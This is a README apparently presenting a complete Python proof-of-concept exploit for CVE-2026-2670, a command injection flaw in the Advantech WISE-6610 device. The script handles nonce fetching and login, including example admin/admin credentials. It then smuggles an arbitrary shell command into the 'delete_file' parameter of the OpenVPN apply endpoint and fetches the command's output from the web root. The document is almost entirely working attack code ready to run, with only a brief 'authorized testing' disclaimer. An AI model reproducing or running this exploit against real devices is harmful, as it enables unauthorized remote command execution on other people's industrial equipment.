README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-2670 - Advantech WISE-6610 Command Injection
Enhanced PoC with exact login request format and debug output.
Usage (authorized testing only):
python3 exploit.py --target http://device:8444 --cmd 'id > output.txt' --username admin --password admin --output /output.txt
python3 exploit.py --target http://device:8444 --cmd 'echo "test">output.txt' --cookie sysauth=value --output /output.txt
"""
import requests
import argparse
import urllib3
import time
from urllib.parse import urljoin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
LOGIN_PATH = "/cgi-bin/luci/"
VULN_PATH = "/cgi-bin/luci/admin/openvpn_apply"
BASE_PATH = "/cgi-bin/luci/"
# Default headers for all requests (some may be overridden per request)
DEFAULT_HEADERS = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0',
'Accept-Language': 'en-GB,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Priority': 'u=0'
}
def debug_print(debug, msg, data=None):
if debug:
print(f"[DEBUG] {msg}")
if data is not None:
print(data)
def fetch_nonce(session, base_url, debug=False):
"""GET /cgi-bin/luci/ to obtain luci_nonce cookie and any initial session."""
nonce_url = urljoin(base_url, BASE_PATH)
print(f"[*] Fetching initial cookies from {nonce_url}")
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1'
}
try:
r = session.get(nonce_url, headers=headers, verify=False, timeout=10)
debug_print(debug, f"GET {nonce_url} response status: {r.status_code}")
debug_print(debug, "Response headers:", dict(r.headers))
debug_print(debug, "Cookies received:", session.cookies.get_dict())
if 'luci_nonce' in session.cookies:
print(f"[+] luci_nonce obtained: {session.cookies['luci_nonce']}")
return True
else:
print("[-] No luci_nonce cookie set in response")
return False
except Exception as e:
print(f"[-] Error fetching nonce: {e}")
return False
def login(session, base_url, username, password, debug=False):
"""Authenticate using luci_username and luci_password."""
login_url = urljoin(base_url, LOGIN_PATH)
print(f"[*] Authenticating to {login_url}")
data = {
"luci_username": username,
"luci_password": password
}
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': base_url.rstrip('/'),
'Referer': urljoin(base_url, '/cgi-bin/luci/'),
'Upgrade-Insecure-Requests': '1'
}
try:
# Ensure we have a luci_nonce before POSTing (already fetched earlier, but double-check)
if 'luci_nonce' not in session.cookies:
print("[!] No luci_nonce cookie present, attempting to fetch...")
if not fetch_nonce(session, base_url, debug):
print("[-] Cannot proceed without luci_nonce")
return None
r = session.post(login_url, data=data, headers=headers, verify=False, timeout=10)
debug_print(debug, f"POST {login_url} response status: {r.status_code}")
debug_print(debug, "Response headers:", dict(r.headers))
debug_print(debug, "Cookies after login:", session.cookies.get_dict())
debug_print(debug, "Response body snippet:", r.text[:500])
if 'sysauth' in session.cookies:
print("[+] Authentication successful")
return session
else:
print("[-] Authentication failed (no sysauth cookie)")
print(" Received cookies:", list(session.cookies.keys()))
return None
except Exception as e:
print(f"[-] Login error: {e}")
return None
def inject(session, base_url, command, debug=False):
"""Send the command injection payload."""
vuln_url = urljoin(base_url, VULN_PATH)
payload = f"123123|{command}; echo$(IFS)"
data = {
"act": "delete",
"delete_file": payload,
"openvpn_id": "1"
}
headers = {
'X-Requested-With': 'XMLHttpRequest',
'Origin': base_url.rstrip('/'),
'Referer': urljoin(base_url, '/cgi-bin/luci/'),
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
}
print(f"[*] Sending exploit to {vuln_url}")
print(f"[*] Payload: delete_file={payload}")
debug_print(debug, "Request headers:", dict(session.headers))
debug_print(debug, "Cookies:", session.cookies.get_dict())
try:
r = session.post(vuln_url, data=data, headers=headers, verify=False, timeout=10)
debug_print(debug, f"Response status: {r.status_code}")
debug_print(debug, "Response headers:", dict(r.headers))
debug_print(debug, "Response body snippet:", r.text[:500])
if r.status_code == 200:
print("[+] Exploit sent successfully")
else:
print("[-] Unexpected response")
if r.text:
print("[*] Response snippet:", r.text[:200])
except Exception as e:
print(f"[-] Request error: {e}")
def fetch_output(session, base_url, output_path, debug=False):
"""Retrieve the output file via GET."""
file_url = urljoin(base_url, output_path)
headers = {
'X-Requested-With': 'XMLHttpRequest',
'Origin': base_url.rstrip('/'),
'Referer': urljoin(base_url, '/cgi-bin/luci/')
}
print(f"[*] Attempting to retrieve {file_url} (GET)")
try:
r = session.get(file_url, headers=headers, verify=False, timeout=10)
debug_print(debug, f"GET {file_url} response status: {r.status_code}")
debug_print(debug, "Response headers:", dict(r.headers))
if r.status_code == 200:
print("[+] File retrieved successfully. Contents:")
print(r.text.strip())
else:
print(f"[-] Failed to retrieve file. HTTP {r.status_code}")
if r.status_code == 404:
print("[!] File not found. Make sure the command wrote to a web-accessible location (e.g., the web root).")
except Exception as e:
print(f"[-] Error fetching output: {e}")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-2670 PoC")
parser.add_argument("--target", required=True, help="Base URL (e.g., http://192.168.1.100:8443)")
parser.add_argument("--cmd", required=True, help="Command to execute (e.g., 'echo \"test\">output.txt' or 'id > output.txt')")
parser.add_argument("--cookie", help="sysauth cookie (if already authenticated)")
parser.add_argument("--username", help="Username for login")
parser.add_argument("--password", help="Password for login")
parser.add_argument("--output", required=True, help="URL path to the output file (e.g., /output.txt)")
parser.add_argument("--delay", type=int, default=2, help="Seconds to wait before fetching output")
parser.add_argument("--debug", action="store_true", help="Enable debug output")
args = parser.parse_args()
session = requests.Session()
session.headers.update(DEFAULT_HEADERS)
# If using a pre-existing sysauth cookie, set it now.
if args.cookie:
session.cookies.set("sysauth", args.cookie)
print("[*] Using provided sysauth cookie")
# We still need luci_nonce for subsequent requests
if not fetch_nonce(session, args.target, args.debug):
print("[!] Could not obtain luci_nonce. Proceeding anyway, but requests may fail.")
elif args.username and args.password:
# First get luci_nonce (required for login)
if not fetch_nonce(session, args.target, args.debug):
print("[-] Failed to obtain luci_nonce. Cannot proceed with login.")
return
session = login(session, args.target, args.username, args.password, args.debug)
if not session:
return
else:
print("[-] Must provide either --cookie or --username/--password")
return
# Inject command
inject(session, args.target, args.cmd, args.debug)
# Wait for command execution
print(f"[*] Waiting {args.delay} seconds...")
time.sleep(args.delay)
# Retrieve output
fetch_output(session, args.target, args.output, args.debug)
if __name__ == "__main__":
main()